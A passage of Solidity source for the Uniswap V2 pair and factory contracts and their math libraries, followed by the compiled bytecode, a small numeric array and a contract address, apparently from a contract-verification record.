keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } } contract UniswapV2Factory is IUniswapV2Factory { address public feeTo; address public feeToSetter; mapping(address => mapping(address => address)) public getPair; address[] public allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external view returns (uint) { return allPairs.length; } function pairCodeHash() external pure returns (bytes32) { return keccak256(type(UniswapV2Pair).creationCode); } function createPair(address tokenA, address tokenB) external returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } IUniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setFeeToSetter(address _feeToSetter) external { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80639aab9248116100665780639aab9248146100fb578063a2e74af614610103578063c9c653961461012b578063e6a4390514610159578063f46901ed1461018757610093565b8063017e7e5814610098578063094b7415146100bc5780631e3dd18b146100c4578063574f2ba3146100e1575b600080fd5b6100a06101ad565b604080516001600160a01b039092168252519081900360200190f35b6100a06101bc565b6100a0600480360360208110156100da57600080fd5b50356101cb565b6100e96101f2565b60408051918252519081900360200190f35b6100e96101f8565b6101296004803603602081101561011957600080fd5b50356001600160a01b031661022a565b005b6100a06004803603604081101561014157600080fd5b506001600160a01b03813581169160200135166102a2565b6100a06004803603604081101561016f57600080fd5b506001600160a01b03813581169160200135166105d3565b6101296004803603602081101561019d57600080fd5b50356001600160a01b03166105f9565b6000546001600160a01b031681565b6001546001600160a01b031681565b600381815481106101d857fe5b6000918252602090912001546001600160a01b0316905081565b60035490565b60006040518060200161020a90610671565b6020820181038252601f19601f8201166040525080519060200120905090565b6001546001600160a01b03163314610280576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000816001600160a01b0316836001600160a01b0316141561030b576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056323a204944454e544943414c5f4144445245535345530000604482015290519081900360640190fd5b600080836001600160a01b0316856001600160a01b03161061032e578385610331565b84845b90925090506001600160a01b038216610391576040805162461bcd60e51b815260206004820152601760248201527f556e697377617056323a205a45524f5f41444452455353000000000000000000604482015290519081900360640190fd5b6001600160a01b03828116600090815260026020908152604080832085851684529091529020541615610404576040805162461bcd60e51b8152602060048201526016602482015275556e697377617056323a20504149525f45584953545360501b604482015290519081900360640190fd5b60606040518060200161041690610671565b6020820181038252601f19601f8201166040525090506000838360405160200180836001600160a01b03166001600160a01b031660601b8152601401826001600160a01b03166001600160a01b031660601b815260140192505050604051602081830303815290604052805190602001209050808251602084016000f56040805163485cc95560e01b81526001600160a01b038781166004830152868116602483015291519297509087169163485cc9559160448082019260009290919082900301818387803b1580156104e957600080fd5b505af11580156104fd573d6000803e3d6000fd5b505050506001600160a01b0384811660008181526002602081815260408084208987168086529083528185208054978d166001600160a01b031998891681179091559383528185208686528352818520805488168517905560038054600181018255958190527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90950180549097168417909655925483519283529082015281517f0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9929181900390910190a35050505092915050565b60026020908152600092835260408084209091529082529020546001600160a01b031681565b6001546001600160a01b0316331461064f576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6123d68061067f8339019056fe60806040526001600c5534801561001557600080fd5b50604051469080605261238482396040805191829003605201822082820182526008835267322222ac2c102b1960c11b6020938401528151808301835260018152603160f81b908401528151808401919091527f550c1f66e13f9e8646cf42ef2eccb93610d74bceafcf5e0e04f58ada15201f50818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612281806101036000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a714610534578063d505accf1461053c578063dd62ed3e1461058d578063fff6cae9146105bb576101a9565b8063ba9a7a56146104fe578063bc25cf7714610506578063c45a01551461052c576101a9565b80637ecebe00116100d35780637ecebe001461046557806389afcb441461048b57806395d89b41146104ca578063a9059cbb146104d2576101a9565b80636a6278421461041157806370a08231146104375780637464fc3d1461045d576101a9565b806323b872dd116101665780633644e515116101405780633644e515146103cb578063485cc955146103d35780635909c0d5146104015780635a3d549314610409576101a9565b806323b872dd1461036f57806330adf81f146103a5578063313ce567146103ad576101a9565b8063022c0d9f146101ae57806306fdde031461023c5780630902f1ac146102b9578063095ea7b3146102f15780630dfe16811461033157806318160ddd14610355575b600080fd5b61023a600480360360808110156101c457600080fd5b8135916020810135916001600160a01b0360408301351691908101906080810160608201356401000000008111156101fb57600080fd5b82018360208201111561020d57600080fd5b8035906020019184600183028401116401000000008311171561022f57600080fd5b5090925090506105c3565b005b610244610afe565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027e578181015183820152602001610266565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c1610b22565b604080516001600160701b03948516815292909316602083015263ffffffff168183015290519081900360600190f35b61031d6004803603604081101561030757600080fd5b506001600160a01b038135169060200135610b4c565b604080519115158252519081900360200190f35b610339610b63565b604080516001600160a01b039092168252519081900360200190f35b61035d610b72565b60408051918252519081900360200190f35b61031d6004803603606081101561038557600080fd5b506001600160a01b03813581169160208101359091169060400135610b78565b61035d610c12565b6103b5610c36565b6040805160ff9092168252519081900360200190f35b61035d610c3b565b61023a600480360360408110156103e957600080fd5b506001600160a01b0381358116916020013516610c41565b61035d610cc5565b61035d610ccb565b61035d6004803603602081101561042757600080fd5b50356001600160a01b0316610cd1565b61035d6004803603602081101561044d57600080fd5b50356001600160a01b0316610fd1565b61035d610fe3565b61035d6004803603602081101561047b57600080fd5b50356001600160a01b0316610fe9565b6104b1600480360360208110156104a157600080fd5b50356001600160a01b0316610ffb565b6040805192835260208301919091528051918290030190f35b6102446113a1565b61031d600480360360408110156104e857600080fd5b506001600160a01b0381351690602001356113c5565b61035d6113d2565b61023a6004803603602081101561051c57600080fd5b50356001600160a01b03166113d8565b610339611543565b610339611552565b61023a600480360360e081101561055257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611561565b61035d600480360360408110156105a357600080fd5b506001600160a01b0381358116916020013516611763565b61023a611780565b600c5460011461060e576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55841515806106215750600084115b61065c5760405162461bcd60e51b81526004018080602001828103825260258152602001806121936025913960400191505060405180910390fd5b600080610667610b22565b5091509150816001600160701b03168710801561068c5750806001600160701b031686105b6106c75760405162461bcd60e51b81526004018080602001828103825260218152602001806121dc6021913960400191505060405180910390fd5b60065460075460009182916001600160a01b039182169190811690891682148015906107055750806001600160a01b0316896001600160a01b031614155b61074e576040805162461bcd60e51b8152602060048201526015602482015274556e697377617056323a20494e56414c49445f544f60581b604482015290519081900360640190fd5b8a1561075f5761075f828a8d6118e2565b891561077057610770818a8c6118e2565b861561082b57886001600160a01b03166310d1e85c338d8d8c8c6040518663ffffffff1660e01b815260040180866001600160a01b03166001600160a01b03168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b15801561081257600080fd5b505af1158015610826573d6000803e3d6000fd5b505050505b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561087157600080fd5b505afa158015610885573d6000803e3d6000fd5b505050506040513d602081101561089b57600080fd5b5051604080516370a0823160e01b815230600482015290519195506001600160a01b038316916370a0823191602480820192602092909190829003018186803b1580156108e757600080fd5b505afa1580156108fb573d6000803e3d6000fd5b505050506040513d602081101561091157600080fd5b5051925060009150506001600160701b0385168a90038311610934576000610943565b89856001600160701b03160383035b9050600089856001600160701b031603831161096057600061096f565b89856001600160701b03160383035b905060008211806109805750600081115b6109bb5760405162461bcd60e51b81526004018080602001828103825260248152602001806121b86024913960400191505060405180910390fd5b60006109ef6109d184600363ffffffff611a7c16565b6109e3876103e863ffffffff611a7c16565b9063ffffffff611adf16565b90506000610a076109d184600363ffffffff611a7c16565b9050610a38620f4240610a2c6001600160701b038b8116908b1663ffffffff611a7c16565b9063ffffffff611a7c16565b610a48838363ffffffff611a7c16565b1015610a8a576040805162461bcd60e51b815260206004820152600c60248201526b556e697377617056323a204b60a01b604482015290519081900360640190fd5b5050610a9884848888611b2f565b60408051838152602081018390528082018d9052606081018c905290516001600160a01b038b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b60405180604001604052806008815260200167322222ac2c102b1960c11b81525081565b6008546001600160701b0380821692600160701b830490911691600160e01b900463ffffffff1690565b6000610b59338484611cf4565b5060015b92915050565b6006546001600160a01b031681565b60005481565b6001600160a01b038316600090815260026020908152604080832033845290915281205460001914610bfd576001600160a01b0384166000908152600260209081526040808320338452909152902054610bd8908363ffffffff611adf16565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b610c08848484611d56565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b6005546001600160a01b03163314610c97576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c54600114610d1e576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c81905580610d2e610b22565b50600654604080516370a0823160e01b815230600482015290519395509193506000926001600160a01b03909116916370a08231916024808301926020929190829003018186803b158015610d8257600080fd5b505afa158015610d96573d6000803e3d6000fd5b505050506040513d6020811015610dac57600080fd5b5051600754604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610dff57600080fd5b505afa158015610e13573d6000803e3d6000fd5b505050506040513d6020811015610e2957600080fd5b505190506000610e48836001600160701b03871663ffffffff611adf16565b90506000610e65836001600160701b03871663ffffffff611adf16565b90506000610e738787611e10565b60005490915080610eb057610e9c6103e86109e3610e97878763ffffffff611a7c16565b611f6e565b9850610eab60006103e8611fc0565b610eff565b610efc6001600160701b038916610ecd868463ffffffff611a7c16565b81610ed457fe5b046001600160701b038916610eef868563ffffffff611a7c16565b81610ef657fe5b04612056565b98505b60008911610f3e5760405162461bcd60e51b81526004018080602001828103825260288152602001806122256028913960400191505060405180910390fd5b610f488a8a611fc0565b610f5486868a8a611b2f565b8115610f8457600854610f80906001600160701b0380821691600160701b90041663ffffffff611a7c16565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c54600114611049576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c81905580611059610b22565b50600654600754604080516370a0823160e01b815230600482015290519496509294506001600160a01b039182169391169160009184916370a08231916024808301926020929190829003018186803b1580156110b557600080fd5b505afa1580156110c9573d6000803e3d6000fd5b505050506040513d60208110156110df57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561112d57600080fd5b505afa158015611141573d6000803e3d6000fd5b505050506040513d602081101561115757600080fd5b5051306000908152600160205260408120549192506111768888611e10565b6000549091508061118d848763ffffffff611a7c16565b8161119457fe5b049a50806111a8848663ffffffff611a7c16565b816111af57fe5b04995060008b1180156111c2575060008a115b6111fd5760405162461bcd60e51b81526004018080602001828103825260288152602001806121fd6028913960400191505060405180910390fd5b611207308461206e565b611212878d8d6118e2565b61121d868d8c6118e2565b604080516370a0823160e01b815230600482015290516001600160a01b038916916370a08231916024808301926020929190829003018186803b15801561126357600080fd5b505afa158015611277573d6000803e3d6000fd5b505050506040513d602081101561128d57600080fd5b5051604080516370a0823160e01b815230600482015290519196506001600160a01b038816916370a0823191602480820192602092909190829003018186803b1580156112d957600080fd5b505afa1580156112ed573d6000803e3d6000fd5b505050506040513d602081101561130357600080fd5b5051935061131385858b8b611b2f565b81156113435760085461133f906001600160701b0380821691600160701b90041663ffffffff611a7c16565b600b555b604080518c8152602081018c905281516001600160a01b038f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b60405180604001604052806008815260200167322222ac2c16ab1960c11b81525081565b6000610b59338484611d56565b6103e881565b600c54600114611423576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654600754600854604080516370a0823160e01b815230600482015290516001600160a01b0394851694909316926114d292859287926114cd926001600160701b03169185916370a0823191602480820192602092909190829003018186803b15801561149557600080fd5b505afa1580156114a9573d6000803e3d6000fd5b505050506040513d60208110156114bf57600080fd5b50519063ffffffff611adf16565b6118e2565b600854604080516370a0823160e01b8152306004820152905161153992849287926114cd92600160701b90046001600160701b0316916001600160a01b038616916370a0823191602480820192602092909190829003018186803b15801561149557600080fd5b50506001600c5550565b6005546001600160a01b031681565b6007546001600160a01b031681565b428410156115ab576040805162461bcd60e51b8152602060048201526012602482015271155b9a5cddd85c158c8e881156141254915160721b604482015290519081900360640190fd5b6003546001600160a01b0380891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012061190160f01b6101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e280820193601f1981019281900390910190855afa1580156116c6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906116fc5750886001600160a01b0316816001600160a01b0316145b61174d576040805162461bcd60e51b815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611758898989611cf4565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c546001146117cb576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654604080516370a0823160e01b815230600482015290516118db926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561181c57600080fd5b505afa158015611830573d6000803e3d6000fd5b505050506040513d602081101561184657600080fd5b5051600754604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561189357600080fd5b505afa1580156118a7573d6000803e3d6000fd5b505050506040513d60208110156118bd57600080fd5b50516008546001600160701b0380821691600160701b900416611b2f565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209182015281516001600160a01b0385811660248301526044808301869052845180840390910181526064909201845291810180516001600160e01b031663a9059cbb60e01b1781529251815160009460609489169392918291908083835b6020831061198f5780518252601f199092019160209182019101611970565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119f1576040519150601f19603f3d011682016040523d82523d6000602084013e6119f6565b606091505b5091509150818015611a24575080511580611a245750808060200190516020811015611a2157600080fd5b50515b611a75576040805162461bcd60e51b815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b6000811580611a9757505080820282828281611a9457fe5b04145b610b5d576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b80820382811115610b5d576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6001600160701b038411801590611b4d57506001600160701b038311155b611b94576040805162461bcd60e51b8152602060048201526013602482015272556e697377617056323a204f564552464c4f5760681b604482015290519081900360640190fd5b60085463ffffffff42811691600160e01b90048116820390811615801590611bc457506001600160701b03841615155b8015611bd857506001600160701b03831615155b15611c49578063ffffffff16611c0685611bf18661210c565b6001600160e01b03169063ffffffff61211e16565b600980546001600160e01b03929092169290920201905563ffffffff8116611c3184611bf18761210c565b600a80546001600160e01b0392909216929092020190555b600880546dffffffffffffffffffffffffffff19166001600160701b03888116919091176dffffffffffffffffffffffffffff60701b1916600160701b8883168102919091176001600160e01b0316600160e01b63ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316600090815260016020526040902054611d7f908263ffffffff611adf16565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611db4908263ffffffff61214316565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a90046001600160a01b03166001600160a01b031663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6157600080fd5b505afa158015611e75573d6000803e3d6000fd5b505050506040513d6020811015611e8b57600080fd5b5051600b546001600160a01b038216158015945091925090611f5a578015611f55576000611ece610e976001600160701b0388811690881663ffffffff611a7c16565b90506000611edb83611f6e565b905080821115611f52576000611f09611efa848463ffffffff611adf16565b6000549063ffffffff611a7c16565b90506000611f2e83611f2286600563ffffffff611a7c16565b9063ffffffff61214316565b90506000818381611f3b57fe5b0490508015611f4e57611f4e8782611fc0565b5050505b50505b611f66565b8015611f66576000600b555b505092915050565b60006003821115611fb1575080600160028204015b81811015611fab57809150600281828581611f9a57fe5b040181611fa357fe5b049050611f83565b50611fbb565b8115611fbb575060015b919050565b600054611fd3908263ffffffff61214316565b60009081556001600160a01b038316815260016020526040902054611ffe908263ffffffff61214316565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008183106120655781612067565b825b9392505050565b6001600160a01b038216600090815260016020526040902054612097908263ffffffff611adf16565b6001600160a01b038316600090815260016020526040812091909155546120c4908263ffffffff611adf16565b60009081556040805183815290516001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6001600160701b0316600160701b0290565b60006001600160701b0382166001600160e01b0384168161213b57fe5b049392505050565b80820182811015610b5d576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a72315820b3b4ea683536ed2f3002ea2dc787522d1a9264771763e0c8df022fda814a87fb64736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429a265627a7a7231582059cd7c1c97d347ff0c323a5aa41595619847db07f28f4692c042643092dc9d7264736f6c63430005100032
[ 10, 7, 9 ]
0xf2a5872a34e69101f5311a8196efac8d7b79dccd
